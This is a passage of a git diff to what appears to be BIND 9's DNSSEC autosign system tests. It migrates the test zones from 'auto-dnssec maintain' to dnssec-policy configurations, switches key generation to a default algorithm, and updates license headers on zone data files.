-ksk=`$KEYGEN -a RSASHA1 -3 -q -Pnow -A now+3600 -fk $zone 2> kg.out` || dumpit kg.out
-$KEYGEN -a RSASHA1 -3 -q $zone > kg.out 2>&1 || dumpit kg.out
-$DSFROMKEY $ksk.key > dsset-${zone}$TP
+ksk=$($KEYGEN -a $DEFAULT_ALGORITHM -3 -q -fk -P sync now $zone 2> kg.out) || dumpit kg.out
+$KEYGEN -a $DEFAULT_ALGORITHM -3 -q $zone > kg.out 2>&1 || dumpit kg.out
+$DSFROMKEY $ksk.key > dsset-${zone}.
 
 #
 # A zone that has a published inactive key that is autosigned.
 #
 setup inaczsk2.example
 cp $infile $zonefile
-ksk=`$KEYGEN -a RSASHA1 -3 -q -fk $zone 2> kg.out` || dumpit kg.out
-$KEYGEN -a RSASHA1 -3 -q -P now -A now+3600 $zone > kg.out 2>&1 || dumpit kg.out
-$DSFROMKEY $ksk.key > dsset-${zone}$TP
-
-#
-#  A zone that starts with a active KSK + ZSK and a inactive ZSK.
-#
-setup inacksk3.example
-cp $infile $zonefile
-$KEYGEN -a NSEC3RSASHA1 -3 -q -P now -A now+3600 -fk $zone > kg.out 2>&1 || dumpit kg.out
-ksk=`$KEYGEN -a NSEC3RSASHA1 -3 -q -fk $zone 2> kg.out` || dumpit kg.out
-$KEYGEN -a NSEC3RSASHA1 -3 -q $zone > kg.out 2>&1 || dumpit kg.out
-$DSFROMKEY $ksk.key > dsset-${zone}$TP
-
-#
-#  A zone that starts with a active KSK + ZSK and a inactive ZSK.
-#
-setup inaczsk3.example
-cp $infile $zonefile
-ksk=`$KEYGEN -a NSEC3RSASHA1 -3 -q -fk $zone 2> kg.out` || dumpit kg.out
-$KEYGEN -a NSEC3RSASHA1 -3 -q $zone > kg.out 2>&1 || dumpit kg.out
-$KEYGEN -a NSEC3RSASHA1 -3 -q -P now -A now+3600 $zone > kg.out 2>&1 || dumpit kg.out
-$DSFROMKEY $ksk.key > dsset-${zone}$TP
+ksk=$($KEYGEN -a $DEFAULT_ALGORITHM -3 -q -fk $zone 2> kg.out) || dumpit kg.out
+$KEYGEN -a $DEFAULT_ALGORITHM -3 -q -P now -A now+3600 $zone > kg.out 2>&1 || dumpit kg.out
+$DSFROMKEY $ksk.key > dsset-${zone}.
 
 #
 # A zone that starts with an active KSK + ZSK and an inactive ZSK, with the
@@ -342,16 +320,19 @@ $DSFROMKEY $ksk.key > dsset-${zone}$TP
 #
 setup delzsk.example
 cp $infile $zonefile
-ksk=`$KEYGEN -a NSEC3RSASHA1 -3 -q -fk $zone 2> kg.out` || dumpit kg.out
-$KEYGEN -a NSEC3RSASHA1 -3 -q $zone > kg.out 2>&1 || dumpit kg.out
-zsk=`$KEYGEN -a NSEC3RSASHA1 -3 -q -I now-1w $zone 2>kg.out` || dumpit kg.out
+ksk=$($KEYGEN -a $DEFAULT_ALGORITHM -3 -q -fk $zone 2> kg.out) || dumpit kg.out
+$KEYGEN -a $DEFAULT_ALGORITHM -3 -q $zone > kg.out 2>&1 || dumpit kg.out
+zsk=$($KEYGEN -a $DEFAULT_ALGORITHM -3 -q -I now-1w $zone 2>kg.out) || dumpit kg.out
+cat $zsk.key >> $zonefile
+mv $zsk.key inactive/
+mv $zsk.private inactive/
 echo $zsk > ../delzsk.key
 
 #
-#  Check that NSEC3 are correctly signed and returned from below a DNAME
+# Check that NSEC3 are correctly signed and returned from below a DNAME
 #
 setup dname-at-apex-nsec3.example
 cp $infile $zonefile
-ksk=`$KEYGEN -q -a RSASHA1 -3 -fk $zone 2> kg.out` || dumpit kg.out
-$KEYGEN -q -a RSASHA1 -3 $zone > kg.out 2>&1 || dumpit kg.out
-$DSFROMKEY $ksk.key > dsset-${zone}$TP
+ksk=$($KEYGEN -q -a $DEFAULT_ALGORITHM -3 -fk $zone 2> kg.out) || dumpit kg.out
+$KEYGEN -q -a $DEFAULT_ALGORITHM -3 $zone > kg.out 2>&1 || dumpit kg.out
+$DSFROMKEY $ksk.key > dsset-${zone}.
diff --git a/bin/tests/system/autosign/ns3/kskonly.example.db.in b/bin/tests/system/autosign/ns3/kskonly.example.db.in
index c3dbada717..c6c7f88ea5 100644
--- a/bin/tests/system/autosign/ns3/kskonly.example.db.in
+++ b/bin/tests/system/autosign/ns3/kskonly.example.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/autosign/ns3/named.conf.in b/bin/tests/system/autosign/ns3/named.conf.in
index 7c8f74f19a..343c743af3 100644
--- a/bin/tests/system/autosign/ns3/named.conf.in
+++ b/bin/tests/system/autosign/ns3/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -31,13 +33,93 @@ options {
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
 	inet 10.53.0.3 port @CONTROLPORT@ allow { any; } keys { rndc_key; };
 };
 
+# The default
+dnssec-policy "autosign" {
+	keys {
+		ksk key-directory lifetime unlimited algorithm @DEFAULT_ALGORITHM@;
+		zsk key-directory lifetime unlimited algorithm @DEFAULT_ALGORITHM@;
+	};
+};
+
+# Additional CSK
+dnssec-policy "sync" {
+	keys {
+		csk key-directory lifetime unlimited algorithm @DEFAULT_ALGORITHM@;
+		ksk key-directory lifetime unlimited algorithm @DEFAULT_ALGORITHM@;
+		zsk key-directory lifetime unlimited algorithm @DEFAULT_ALGORITHM@;
+	};
+};
+
+# NSEC3
+dnssec-policy "nsec3" {
+	keys {
+		ksk key-directory lifetime unlimited algorithm @DEFAULT_ALGORITHM@;
+		zsk key-directory lifetime unlimited algorithm @DEFAULT_ALGORITHM@;
+	};
+
+	nsec3param iterations 0 optout no salt-length 0;
+};
+
+# NSEC3 opt-out
+dnssec-policy "optout" {
+	keys {
+		ksk key-directory lifetime unlimited algorithm @DEFAULT_ALGORITHM@;
+		zsk key-directory lifetime unlimited algorithm @DEFAULT_ALGORITHM@;
+	};
+
+	nsec3param iterations 0 optout yes salt-length 0;
+};
+
+# Jitter
+dnssec-policy "jitter" {
+	keys {
+		ksk key-directory lifetime unlimited algorithm @DEFAULT_ALGORITHM@;
+		zsk key-directory lifetime unlimited algorithm @DEFAULT_ALGORITHM@;
+	};
+
+	signatures-validity P10D;
+	signatures-validity-dnskey P10D;
+	signatures-refresh P2D;
+};
+
+# Jitter, NSEC3
+dnssec-policy "jitter-nsec3" {
+	keys {
+		ksk key-directory lifetime unlimited algorithm @DEFAULT_ALGORITHM@;
+		zsk key-directory lifetime unlimited algorithm @DEFAULT_ALGORITHM@;
+	};
+
+	nsec3param iterations 0 optout no salt-length 0;
+
+	signatures-validity P10D;
+	signatures-validity-dnskey P10D;
+	signatures-refresh P2D;
+
+};
+
+# RSASHA256
+dnssec-policy "rsasha256" {
+	keys {
+		ksk key-directory lifetime unlimited algorithm RSASHA256 2048;
+		zsk key-directory lifetime unlimited algorithm RSASHA256 2048;
+	};
+};
+
+# RSASHA512
+dnssec-policy "rsasha512" {
+	keys {
+		ksk key-directory lifetime unlimited algorithm RSASHA512 2048;
+		zsk key-directory lifetime unlimited algorithm RSASHA512 2048;
+	};
+};
+
 zone "." {
 	type hint;
 	file "../../common/root.hint";
@@ -59,48 +141,54 @@ zone "secure.example" {
 	type primary;
 	file "secure.example.db";
 	allow-update { any; };
-	auto-dnssec maintain;
+	inline-signing no;
+	dnssec-policy autosign;
 };
 
 zone "insecure.example" {
 	type primary;
 	file "insecure.example.db";
+	dnssec-policy none;
 };
 
 zone "nsec3.example" {
 	type primary;
 	file "nsec3.example.db";
 	allow-update { any; };
-	auto-dnssec maintain;
+	inline-signing no;
+	dnssec-policy nsec3;
 };
 
 zone "autonsec3.example" {
 	type primary;
 	file "autonsec3.example.db";
 	allow-update { any; };
-	auto-dnssec maintain;
+	inline-signing no;
+	dnssec-policy nsec3;
 };
 
 zone "optout.nsec3.example" {
 	type primary;
 	file "optout.nsec3.example.db";
 	allow-update { any; };
-	auto-dnssec maintain;
+	inline-signing no;
+	dnssec-policy optout;
 };
 
 zone "nsec3.nsec3.example" {
 	type primary;
 	file "nsec3.nsec3.example.db";
 	allow-update { any; };
-	auto-dnssec maintain;
+	inline-signing no;
+	dnssec-policy nsec3;
 };
 
 zone "jitter.nsec3.example" {
 	type primary;
 	file "jitter.nsec3.example.db";
 	allow-update { any; };
-	auto-dnssec maintain;
-	sig-validity-interval 10 2;
+	inline-signing no;
+	dnssec-policy jitter-nsec3;
 	sig-signing-nodes 1000;
 	sig-signing-signatures 100;
 };
@@ -109,86 +197,79 @@ zone "secure.nsec3.example" {
 	type primary;
 	file "secure.nsec3.example.db";
 	allow-update { any; };
-	auto-dnssec maintain;
+	inline-signing no;
+	dnssec-policy nsec3;
 };
 
 zone "optout.example" {
 	type primary;
 	file "optout.example.db";
 	allow-update { any; };
-	auto-dnssec maintain;
+	dnssec-policy optout;
 };
 
 zone "secure.optout.example" {
 	type primary;
 	file "secure.optout.example.db";
 	allow-update { any; };
-	auto-dnssec maintain;
+	inline-signing no;
+	dnssec-policy optout;
 };
 
 zone "nsec3.optout.example" {
 	type primary;
 	file "nsec3.optout.example.db";
 	allow-update { any; };
-	auto-dnssec maintain;
+	inline-signing no;
+	dnssec-policy optout;
 };
 
 zone "optout.optout.example" {
 	type primary;
 	file "optout.optout.example.db";
 	allow-update { any; };
-	auto-dnssec maintain;
+	inline-signing no;
+	dnssec-policy optout;
 };
 
 zone "rsasha256.example" {
 	type primary;
 	file "rsasha256.example.db";
 	allow-update { any; };
-	auto-dnssec maintain;
+	inline-signing no;
+	dnssec-policy rsasha256;
 };
 
 zone "rsasha512.example" {
 	type primary;
 	file "rsasha512.example.db";
 	allow-update { any; };
-	auto-dnssec maintain;
+	inline-signing no;
+	dnssec-policy rsasha512;
 };
 
-zone "nsec.example" {
+zone "nsec-only.example" {
 	type primary;
-	file "nsec.example.db";
+	file "nsec-only.example.db";
 	allow-update { any; };
-	auto-dnssec maintain;
+	inline-signing no;
+	dnssec-policy autosign;
 };
 
 zone "nsec3-to-nsec.example" {
 	type primary;
 	file "nsec3-to-nsec.example.db";
 	allow-update { any; };
-	auto-dnssec maintain;
-};
-
-zone "secure-to-insecure.example" {
-	type primary;
-	file "secure-to-insecure.example.db";
-	allow-update { any; };
-	dnssec-secure-to-insecure yes;
-};
-
-zone "secure-to-insecure2.example" {
-	type primary;
-	file "secure-to-insecure2.example.db";
-	allow-update { any; };
-	auto-dnssec maintain;
-	dnssec-secure-to-insecure yes;
+	inline-signing no;
+	dnssec-policy nsec3;
 };
 
 zone "oldsigs.example" {
 	type primary;
 	file "oldsigs.example.db";
 	allow-update { any; };
-	auto-dnssec maintain;
-	sig-validity-interval 10 2;
+	inline-signing no;
+	dnssec-policy jitter;
 	sig-signing-nodes 1000;
 	sig-signing-signatures 100;
 };
@@ -197,115 +278,108 @@ zone "prepub.example" {
 	type primary;
 	file "prepub.example.db";
 	allow-update { any; };
-	auto-dnssec maintain;
+	inline-signing no;
+	dnssec-policy autosign;
 };
 
 zone "ttl1.example" {
 	type primary;
 	file "ttl1.example.db";
 	allow-update { any; };
-	auto-dnssec maintain;
+	inline-signing no;
+	dnssec-policy autosign;
 };
 
 zone "ttl2.example" {
 	type primary;
 	file "ttl2.example.db";
 	allow-update { any; };
-	auto-dnssec maintain;
+	inline-signing no;
+	dnssec-policy autosign;
 };
 
 zone "ttl3.example" {
 	type primary;
 	file "ttl3.example.db";
 	allow-update { any; };
-	auto-dnssec maintain;
+	inline-signing no;
+	dnssec-policy autosign;
 };
 
 zone "ttl4.example" {
 	type primary;
 	file "ttl4.example.db";
 	allow-update { any; };
-	auto-dnssec maintain;
+	inline-signing no;
+	dnssec-policy autosign;
 };
 
 zone "delay.example" {
 	type primary;
 	file "delay.example.db";
-	allow-update { any; };
-	auto-dnssec maintain;
 };
 
 zone "nozsk.example" {
 	type primary;
 	file "nozsk.example.db";
 	allow-update { any; };
-	auto-dnssec maintain;
+	inline-signing no;
+	dnssec-policy autosign;
 };
 
 zone "inaczsk.example" {
 	type primary;
 	file "inaczsk.example.db";
 	allow-update { any; };
-	auto-dnssec maintain;
-};
-
-zone "sync.example" {
-	type primary;
-	file "sync.example.db";
-	allow-update { any; };
-	auto-dnssec maintain;
+	inline-signing no;
+	dnssec-policy autosign;
 };
 
-zone "kskonly.example" {
+zone "noksk.example" {
 	type primary;
-	file "kskonly.example.db";
+	file "noksk.example.db";
 	allow-update { any; };
-	dnssec-dnskey-kskonly yes;
-	auto-dnssec maintain;
+	inline-signing no;
+	dnssec-policy autosign;
 };
 
-zone "inacksk2.example" {
+zone "sync.example" {
 	type primary;
-	file "inacksk2.example.db";
+	file "sync.example.db";
 	allow-update { any; };
-	dnssec-dnskey-kskonly yes;
-	auto-dnssec maintain;
+	inline-signing no;
+	dnssec-policy sync;
 };
 
-zone "inacksk3.example" {
+zone "kskonly.example" {
 	type primary;
-	file "inacksk3.example.db";
+	file "kskonly.example.db";
 	allow-update { any; };
-	dnssec-dnskey-kskonly yes;
-	auto-dnssec maintain;
+	dnssec-policy autosign;
 };
 
 zone "inaczsk2.example" {
 	type primary;
 	file "inaczsk2.example.db";
 	allow-update { any; };
-	auto-dnssec maintain;
-};
-
-zone "inaczsk3.example" {
-	type primary;
-	file "inaczsk3.example.db";
-	allow-update { any; };
-	auto-dnssec maintain;
+	inline-signing no;
+	dnssec-policy autosign;
 };
 
 zone "delzsk.example." {
 	type primary;
 	file "delzsk.example.db";
 	allow-update { any; };
-	auto-dnssec maintain;
+	inline-signing no;
+	dnssec-policy nsec3;
 };
 
 zone "dname-at-apex-nsec3.example" {
 	type primary;
 	file "dname-at-apex-nsec3.example.db";
 	allow-update { any; };
-	auto-dnssec maintain;
+	inline-signing no;
+	dnssec-policy nsec3;
 };
 
 include "trusted.conf";
diff --git a/bin/tests/system/autosign/ns3/noksk.example.db.in b/bin/tests/system/autosign/ns3/noksk.example.db.in
new file mode 100644
index 0000000000..1376922f0a
--- /dev/null
+++ b/bin/tests/system/autosign/ns3/noksk.example.db.in
@@ -0,0 +1,26 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+$TTL 300	; 5 minutes
+@			IN SOA	mname1. . (
+				1          ; serial
+				20         ; refresh (20 seconds)
+				20         ; retry (20 seconds)
+				1814400    ; expire (3 weeks)
+				3600       ; minimum (1 hour)
+				)
+			NS	ns
+ns			A	10.53.0.3
+
+a			A	10.0.0.1
+b			A	10.0.0.2
+d			A	10.0.0.4
+x			CNAME	a
diff --git a/bin/tests/system/autosign/ns3/nozsk.example.db.in b/bin/tests/system/autosign/ns3/nozsk.example.db.in
index 90dcba9daf..1376922f0a 100644
--- a/bin/tests/system/autosign/ns3/nozsk.example.db.in
+++ b/bin/tests/system/autosign/ns3/nozsk.example.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/autosign/ns3/nsec-only.example.db.in b/bin/tests/system/autosign/ns3/nsec-only.example.db.in
new file mode 100644
index 0000000000..0b11a00b00
--- /dev/null
+++ b/bin/tests/system/autosign/ns3/nsec-only.example.db.in
@@ -0,0 +1,26 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+$TTL 300	; 5 minutes
+@			IN SOA	mname1. . (
+				2009102722 ; serial
+				20         ; refresh (20 seconds)
+				20         ; retry (20 seconds)
+				1814400    ; expire (3 weeks)
+				3600       ; minimum (1 hour)
+				)
+			NS	ns
+ns			A	10.53.0.3
+
+a			A	10.0.0.1
+b			A	10.0.0.2
+d			A	10.0.0.4
+x			CNAME	a
diff --git a/bin/tests/system/autosign/ns3/nsec.example.db.in b/bin/tests/system/autosign/ns3/nsec.example.db.in
deleted file mode 100644
index cbfb691d08..0000000000
--- a/bin/tests/system/autosign/ns3/nsec.example.db.in
+++ /dev/null
@@ -1,24 +0,0 @@
-; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-;
-; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
-;
-; See the COPYRIGHT file distributed with this work for additional
-; information regarding copyright ownership.
-
-$TTL 300	; 5 minutes
-@			IN SOA	mname1. . (
-				2009102722 ; serial
-				20         ; refresh (20 seconds)
-				20         ; retry (20 seconds)
-				1814400    ; expire (3 weeks)
-				3600       ; minimum (1 hour)
-				)
-			NS	ns
-ns			A	10.53.0.3
-
-a			A	10.0.0.1
-b			A	10.0.0.2
-d			A	10.0.0.4
-x			CNAME	a
diff --git a/bin/tests/system/autosign/ns3/nsec3-to-nsec.example.db.in b/bin/tests/system/autosign/ns3/nsec3-to-nsec.example.db.in
index cbfb691d08..0b11a00b00 100644
--- a/bin/tests/system/autosign/ns3/nsec3-to-nsec.example.db.in
+++ b/bin/tests/system/autosign/ns3/nsec3-to-nsec.example.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/autosign/ns3/nsec3.example.db.in b/bin/tests/system/autosign/ns3/nsec3.example.db.in
index 0b160d79c2..17964e856d 100644
--- a/bin/tests/system/autosign/ns3/nsec3.example.db.in
+++ b/bin/tests/system/autosign/ns3/nsec3.example.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/autosign/ns3/nsec3.nsec3.example.db.in b/bin/tests/system/autosign/ns3/nsec3.nsec3.example.db.in
index 3f10748395..15fe621fd0 100644
--- a/bin/tests/system/autosign/ns3/nsec3.nsec3.example.db.in
+++ b/bin/tests/system/autosign/ns3/nsec3.nsec3.example.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/autosign/ns3/nsec3.optout.example.db.in b/bin/tests/system/autosign/ns3/nsec3.optout.example.db.in
index 3f10748395..15fe621fd0 100644
--- a/bin/tests/system/autosign/ns3/nsec3.optout.example.db.in
+++ b/bin/tests/system/autosign/ns3/nsec3.optout.example.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/autosign/ns3/oldsigs.example.db.in b/bin/tests/system/autosign/ns3/oldsigs.example.db.in
index cbfb691d08..0b11a00b00 100644
--- a/bin/tests/system/autosign/ns3/oldsigs.example.db.in
+++ b/bin/tests/system/autosign/ns3/oldsigs.example.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/autosign/ns3/optout.example.db.in b/bin/tests/system/autosign/ns3/optout.example.db.in
index 5d5416db2e..fbb05af5bc 100644
--- a/bin/tests/system/autosign/ns3/optout.example.db.in
+++ b/bin/tests/system/autosign/ns3/optout.example.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/autosign/ns3/optout.nsec3.example.db.in b/bin/tests/system/autosign/ns3/optout.nsec3.example.db.in
index 3f10748395..15fe621fd0 100644
--- a/bin/tests/system/autosign/ns3/optout.nsec3.example.db.in
+++ b/bin/tests/system/autosign/ns3/optout.nsec3.example.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/autosign/ns3/optout.optout.example.db.in b/bin/tests/system/autosign/ns3/optout.optout.example.db.in
index 3f10748395..15fe621fd0 100644
--- a/bin/tests/system/autosign/ns3/optout.optout.example.db.in
+++ b/bin/tests/system/autosign/ns3/optout.optout.example.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/autosign/ns3/prepub.example.db.in b/bin/tests/system/autosign/ns3/prepub.example.db.in
new file mode 100644
index 0000000000..14971bd7a6
--- /dev/null
+++ b/bin/tests/system/autosign/ns3/prepub.example.db.in
@@ -0,0 +1,26 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+$TTL 300	; 5 minutes
+@			IN SOA	mname1. . (
+				2000042407 ; serial
+				20         ; refresh (20 seconds)
+				20         ; retry (20 seconds)
+				1814400    ; expire (3 weeks)
+				3600       ; minimum (1 hour)
+				)
+			NS	ns
+ns			A	10.53.0.3
+
+a			A	10.0.0.1
+b			A	10.0.0.2
+d			A	10.0.0.4
+z			A	10.0.0.26
diff --git a/bin/tests/system/autosign/ns3/rsasha256.example.db.in b/bin/tests/system/autosign/ns3/rsasha256.example.db.in
index 862dadba98..f6c4fabdd3 100644
--- a/bin/tests/system/autosign/ns3/rsasha256.example.db.in
+++ b/bin/tests/system/autosign/ns3/rsasha256.example.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/autosign/ns3/rsasha512.example.db.in b/bin/tests/system/autosign/ns3/rsasha512.example.db.in
index 862dadba98..f6c4fabdd3 100644
--- a/bin/tests/system/autosign/ns3/rsasha512.example.db.in
+++ b/bin/tests/system/autosign/ns3/rsasha512.example.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/autosign/ns3/secure-to-insecure.example.db.in b/bin/tests/system/autosign/ns3/secure-to-insecure.example.db.in
index 86552149e1..14971bd7a6 100644
--- a/bin/tests/system/autosign/ns3/secure-to-insecure.example.db.in
+++ b/bin/tests/system/autosign/ns3/secure-to-insecure.example.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/autosign/ns3/secure-to-insecure2.example.db.in b/bin/tests/system/autosign/ns3/secure-to-insecure2.example.db.in
deleted file mode 100644
index 86552149e1..0000000000
--- a/bin/tests/system/autosign/ns3/secure-to-insecure2.example.db.in
+++ /dev/null
@@ -1,24 +0,0 @@
-; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-;
-; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
-;
-; See the COPYRIGHT file distributed with this work for additional
-; information regarding copyright ownership.
-
-$TTL 300	; 5 minutes
-@			IN SOA	mname1. . (
-				2000042407 ; serial
-				20         ; refresh (20 seconds)
-				20         ; retry (20 seconds)
-				1814400    ; expire (3 weeks)
-				3600       ; minimum (1 hour)
-				)
-			NS	ns
-ns			A	10.53.0.3
-
-a			A	10.0.0.1
-b			A	10.0.0.2
-d			A	10.0.0.4
-z			A	10.0.0.26
